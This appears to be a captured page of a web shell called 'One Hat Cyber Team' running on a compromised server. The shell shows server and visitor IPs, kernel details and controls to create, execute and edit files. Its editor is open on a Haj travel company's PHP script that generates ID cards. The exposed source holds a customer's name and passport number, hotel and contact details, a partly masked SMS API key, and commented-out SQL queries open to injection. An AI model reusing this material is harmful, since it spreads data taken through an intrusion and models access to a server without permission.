One Hat Cyber Team
Your IP :
216.73.216.240
Server IP :
162.240.106.28
Server :
Linux server.ganesand.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
Server Software :
Apache
PHP Version :
7.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
thoa
/
www
/
fpdf
/
Edit File:
idcard1.php
<? session_start(); error_reporting(0); require('invoice.php'); $code=100004; $pdf = new PDF_Invoice('P','mm',array(100,160)); $pdf->AddPage(); $pdf->SetAutoPageBreak(true, 10); /* $pdf->addSociete1( "Customer: $name", "$add \nPhone: $mob\nMail: $mail\n "); $pdf->addSociete3( "IMPORTANT NOTE", "* No Cash Payment*. \n* D.D or Cheque, RTGS, Debit/Credit Card or Online Payment. \n* D.D or Cheque filled in the name of SHA HAJ SERVICE (INDIA) PRIVATE LIMITED pay at Chennai. \n* No cash payment or Blank Cheque should be given in anybodys name or to any one, who states that he is in our company. \n* Your name will be booked only after the agent submits the D.D or cheque to our Registration Office only. \n* To confirm our authorized agent. Check in our website: shahajservice.com or contact at our Registration Office only. \n* D.D or Cheque / Passport / N.R.I / P.I.O.C / O.C.I / Other Card / Application form / Other form / Photos / ect., All documents \n send to our Registration Office only. \n* If not send directly to our Registration Office. The company will not be responsible for your documents. \n* As per the registration from duly accepted & signed by the applicant charges paid are non refundable and cannot be adjusted either. \n* The service is not responsible if not binding for all this these activates."); $pdf->addSociete4( "NOTICE", "* If you have any queries or clarification, please contact us at any of the touch points mentioned below. We'll be glad to hear from you!. \n* Please verify your email ID and contact number to continue receiving your payment bill / receipt."); */ /* $pdf->addSocietes1( "REGISTRATION OFFICE: CHENNAI |"); $pdf->addSocietes2( "SUBJECT TO REALIZATION |"); $pdf->addSocietes3( "Visit https://www.shahajservice.com for various payment options."); $pdf->addSocietesnew( "************************ This is an electronically generated bill / receipt and does not require any stamp or signature ************************"); *//* $pdf->fact_dev( "Devis ", "TEMPO" ); */ /* $pdf->addClientAdresse("\n Phone: $mob\n Mail: $mail"); */ /* $pdf->temporaire( "Sha Haj Service" ); */ /* $pdf->addDate( "$date"); $pdf->addClient("$appno"); $pdf->addref("$blno" ); */ /* $pdf->bar1("$code"); $logo = file_get_contents('logo2.png'); $logo1 = file_get_contents('ajith.jpg'); $logo2 = file_get_contents('005_file.png'); $pdf->addSocietename( "Name :"); $pdf->addSocietepp ( "P.P.No :"); $pdf->addSocieteap ( "App. No. :"); $pdf->addSocieteper ( "Perform :"); $pdf->addSocieteper1( "HAJ"); $pdf->addSocieteyr ( "Year :"); $pdf->addSocieteyr1( "2017"); $pdf->addSocieteser ( "Service Office :"); $pdf->addSocieteser1( "61"); $pdf->addSocietesau( "SAUDI MOBILE:05018 71553 | 05528 49970 | 05528 49833."); */ $pdf->addSocietemaknam( "Hotel Name"); $pdf->addSocietemaknam1( "BURJ AL-SULTAN HOTEL =2."); $pdf->addSocietemaknam2( ":"); $pdf->addSocietemakadd( "Hotel Address"); $pdf->addSocietemakadd1( "IBRAHIM AL-KHALIL STREET \nBESIDE HILTON HOTELS, \nAL- MISFALAH HOLY MAKKAH, K.S.A. "); $pdf->addSocietemakadd2( ":"); $pdf->addSocietemakph( "PHONE"); $pdf->addSocietemakph1( "00966 536648017"); $pdf->addSocietemakph2( ":"); $pdf->addSocietemadnam( "Hotel Name"); $pdf->addSocietemadnam1( "MANAZIL AL-AMAL HOTEL"); $pdf->addSocietemadnam2( ":"); $pdf->addSocietemadadd( "Hotel Address"); $pdf->addSocietemadadd1( "KINGDOM OF SAUDI ARABIA- MADINA MUNAWARA \nWESTERN CENTRAL AREA-P.O. BOX 2774, MADINAH,K.S.A. "); $pdf->addSocietemadadd2( ":"); $pdf->addSocietemadph( "PHONE"); $pdf->addSocietemadph1( "00966 8190080"); $pdf->addSocietemadph2( ":"); $pdf->addSocieteaznam( "Hotel Name"); $pdf->addSocieteaznam1( "ABU SHAL BUILDING."); $pdf->addSocieteaznam2( ":"); $pdf->addSocieteazadd( "Hotel Address"); $pdf->addSocieteazadd1( "EIMAN STREET- NEAR MOSQUE \nKHADEEJA BIND KHUWAILID- \nAZIZIA,HAY AL JAMIA,K.S.A. "); $pdf->addSocieteazadd2( ":"); $pdf->addSocieteazph( "PHONE"); $pdf->addSocieteazph1( "00966 549875670"); $pdf->addSocieteazph2( ":"); $pdf->addSocietemunam( "Muttawiff Name"); $pdf->addSocietemunam1( "FAROUQ MOHEMMAD AMIN KATIB."); $pdf->addSocietemunam2( ":"); $pdf->addSocietemuadd( "Address"); $pdf->addSocietemuadd1( "MAKKAH-KUDAY - AL-HURA DIST. \nFORQAN ST,-BEHIND RETIREMENT \nBENEFIT POST BOX: 8323.K.S.A. "); $pdf->addSocietemuadd2( ":"); $pdf->addSocietemuph( "PHONE"); $pdf->addSocietemuph1( "00966 5369821"); $pdf->addSocietemuph2( ":"); $pdf->addSocieteval( "Valid From:08/17"); $pdf->addSocieteval1( "Valid From:09/17"); $pdf->addSocieteauth( "Authorised Signature"); $pdf->addSocieteoff( " REGISTRATION OFFICE: OLD NO:35,NEW NO:71,SRI VENKATESH BHAVAN,"); $pdf->addSocieteoff1( "PORTION-D,THIRD FLOOR,ARMINIAN STREET,CHENNAI-600 001,TAMILNADU,INDIA."); $pdf->addSocietemak( "MAKKAH HOTEL DETAILS"); $pdf->addSocietemad( "MADINAH HOTEL DETAILS"); $pdf->addSocieteaz( "AZIZIYAH HOTEL DETAILS"); $pdf->addSocietemu( "MUTTAWIFF DETAILS"); $pdf->addSocietemail( "Website : www.shahajservice.com | E-mail : info@shahajservice.com"); /* $pdf->addSocietebill2( "APPROVED BY GOVT OF INDIA AND KSA | ISO CERTIFIED COMPANY"); $pdf->addSocietebill1( "(INDIA) PRIVATE LIMITED"); $pdf->addSocietename1( "MOHAMEDGHOUSE SHEIKMOHAMEDALI"); $pdf->addSocietepp1( "M8152620"); $pdf->addSocieteap1( "100046"); $pdf->addSocietepack( "HAJ | UMRAH | ZIYARAH"); // Output it $pdf->MemImage($logo,5,13); $pdf->MemImage($logo1,12,40,30,0,'JPG'); $pdf->MemImage($logo2,75,113,20,0,'PNG'); */ /* $pdf->Image('https://www.shahajservice.com/images/icons/logo2.png',60,30,90,0,'PNG'); */ /* $image1 = "logo2.png"; $this->Cell( 40, 40, $pdf->Image($image1, $pdf->GetX(), $pdf->GetY(), 33.78), 0, 0, 'L', false ); // $pdf->addPageNumber("1");*/ /* $pdf->addReglement("Chèque"); $pdf->addEcheance("Axis Bank"); $pdf->addEcheance("03/12/2003"); $pdf->addNumTVA("FR888777666"); */ /* $cols=array( "PREFERRED PAYMENT METHOD" => 61, "BANK NAME" => 55, "NUMBER" => 25, "DATE" => 26, "AMOUNT" => 23); $pdf->addCols( $cols); $cols=array( "PREFERRED PAYMENT METHOD" => "C", "BANK NAME" => "C", "NUMBER" => "C", "DATE" => "C", "AMOUNT" => "C"); $pdf->addLineFormat( $cols); $pdf->addLineFormat($cols); $y = 159; $line = array( "PREFERRED PAYMENT METHOD" => "$method", "BANK NAME" => "$bankname" , "NUMBER" => "$chequeno", "DATE" => "$chequedate", "AMOUNT" => "$chequeamt"); $size = $pdf->addLine( $y, $line ); $y += $size + 2; */ /* $cols=array( "S.NO" => 23, "SERVICE" => 78, "QUANTITY" => 22, "AMOUNT" => 26, "TOTAL" => 41); $pdf->addCols1( $cols); $cols=array( "S.NO" => "C", "SERVICE" => "L", "QUANTITY" => "C", "AMOUNT" => "R", "TOTAL" => "R"); $pdf->addLineFormat( $cols); $pdf->addLineFormat($cols); $y = 89; $line = array( "S.NO" => "1", "SERVICE" => " $main - $pack - $cls \n" , "QUANTITY" => "1", "AMOUNT" => "$amt.00", "TOTAL" => "$amt.00"); $size = $pdf->addLine( $y, $line ); $y += $size + 2; */ /* $line = array( "REFERENCE" => "REF2", "DESIGNATION" => "Câble RS232", "QUANTITE" => "1", "P.U. HT" => "10.00", "MONTANT H.T." => "60.00", "TVA" => "1" ); $size = $pdf->addLine( $y, $line ); $y += $size + 2; */ /* $pdf->addCadreTVAs(); $pdf->addCadreTVAs(); */ // invoice = array( "px_unit" => value, // "qte" => qte, // "tva" => code_tva ); // tab_tva = array( "1" => 19.6, // "2" => 5.5, ... ); // params = array( "RemiseGlobale" => [0|1], // "remise_tva" => [1|2...], // {la remise s'applique sur ce code TVA} // "remise" => value, // {montant de la remise} // "remise_percent" => percent, // {pourcentage de remise sur ce montant de TVA} // "FraisPort" => [0|1], // "portTTC" => value, // montant des frais de ports TTC // // par defaut la TVA = 19.6 % // "portHT" => value, // montant des frais de ports HT // "portTVA" => tva_value, // valeur de la TVA a appliquer sur le montant HT // "AccompteExige" => [0|1], // "accompte" => value // montant de l'acompte (TTC) // "accompte_percent" => percent // pourcentage d'acompte (TTC) // "Remarque" => "texte" // texte /* $tot_prods = array( array ( "px_unit" => 600, "qte" => 1, "tva" => 1 ), array ( "px_unit" => 10, "qte" => 1, "tva" => 1 )); $tab_tva = array( "1" => 19.6, "2" => 5.5); $params = array( "RemiseGlobale" => 1, "remise_tva" => 1, // {la remise s'applique sur ce code TVA} "remise" => 0, // {montant de la remise} "remise_percent" => 10, // {pourcentage de remise sur ce montant de TVA} "FraisPort" => 1, "portTTC" => 10, // montant des frais de ports TTC // par defaut la TVA = 19.6 % "portHT" => 0, // montant des frais de ports HT "portTVA" => 19.6, // valeur de la TVA a appliquer sur le montant HT "AccompteExige" => 1, "accompte" => 0, // montant de l'acompte (TTC) "accompte_percent" => 15, // pourcentage d'acompte (TTC) "Remarque" => "Avec un acompte, svp..." ); $pdf->addTVAs( $params, $tab_tva, $tot_prods); $pdf->addCadreEurosFrancs(); */ // Output it /* $fileName = 'shahaj-' . $appno .'-'.$count. '.pdf'; $pdf->Output($fileName,'D'); $filename='shahaj-' . $appno ; $_SESSION['filename']=$filename; $to = "$mail"; $from = "info@shahajservice.com"; $cc = "info@shahajservice.com"; $subject = "Shahaj Service Invoice"; $message = "<p>Please see the attachment.</p>"; */ // a random hash will be necessary to send mixed content /* $separator = md5(time()); */ // carriage return type (we use a PHP end of line constant) /* $eol = PHP_EOL; */ // attachment name /* $filename = "test.pdf"; */ // encode data (puts attachment in proper format) $fileName="back.pdf"; $pdfdoc = $pdf->Output("$fileName", "D"); $attachment = chunk_split(base64_encode($pdfdoc)); // main header /* $headers = "From: ".$from.$eol; $headers .= 'Cc: '.$cc.$eol; $headers .= "MIME-Version: 1.0".$eol; $headers .= "Content-Type: multipart/mixed; boundary=\"".$separator."\""; */ // no more headers after this, we start the body! // /* $body = "--".$separator.$eol; $body .= "Content-Transfer-Encoding: 7bit".$eol.$eol; $body .= "Greeting From SHA HAJ SERVICE (INDIA) PVT, LTD We thank you for your payment .".$eol; */ // message /* $body .= "--".$separator.$eol; $body .= "Content-Type: text/html; charset=\"iso-8859-1\"".$eol; $body .= "Content-Transfer-Encoding: 8bit".$eol.$eol; $body .= $message.$eol; */ // attachment /* $body .= "--".$separator.$eol; $body .= "Content-Type: application/octet-stream; name=\"".$filename."\"".$eol; $body .= "Content-Transfer-Encoding: base64".$eol; $body .= "Content-Disposition: attachment".$eol.$eol; $body .= $attachment.$eol; $body .= "--".$separator."--"; */ // send message /* mail($to, $subject, $body, $headers); if($i=='1') { $username = 'SHAHAJ'; $key = '9fc19b3ab1XX'; $mobile = $mob; $sender = 'SHAHAJ'; $accusage = '1'; $smstext = "Assalamu Alaikum.Thankyou for your Payment. You have paid Rs. $amt for $main - $pack - $cls package. Thank you for using Sha Haj Service (I) P. L."; $message = urlencode($smstext); $data = 'user='.$username.'&key='.$key."&mobile=".$mobile."&message=".$message."&senderid=".$sender."&accusage=".$accusage ; $ch = curl_init('http://mobicomm.dove-sms.com/submitsms.jsp?'.$data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); $i++; } */ ?> <? /* include('../shahaj/config.php'); session_start(); $appno=$_SESSION["appno"]; $filename=$_SESSION['filename']; $amt = $_SESSION['amt']; $apbal = $_SESSION['apbal']; date_default_timezone_set('Asia/Calcutta'); $v=date("Y-m-d H:i:s"); if($appno) { $que1 = mysql_query("update newapplication set AP_BILL='$filename',AP_BLDATE='$v',AP_AMT='$apbal'+'$amt',AP_LASTPAY='$amt',AP_COUNT='$count' WHERE AP_NO='".$appno."'"); $blno1 = $blno + 1; $que1 = mysql_query("update bill set BL_NO='$blno1' WHERE BL_ID='1'"); if($que1){} */?> <div style="height:300px; padding-top:150px; padding-right:20px; text-align:center; font-size:18px; line-height:25px;"> <img src="../shahah/images/icons/logo.jpg" /><br /> </div> <script>alert("Payment updated sucessfully"); location.href = '../admin1/dash.php'; </script> <?/* }}else{ */?> <h1>Not Updated </h1> <? //} ?> <script type="text/javascript"> location.href = '../admin1/dash.php'; </script>
Simpan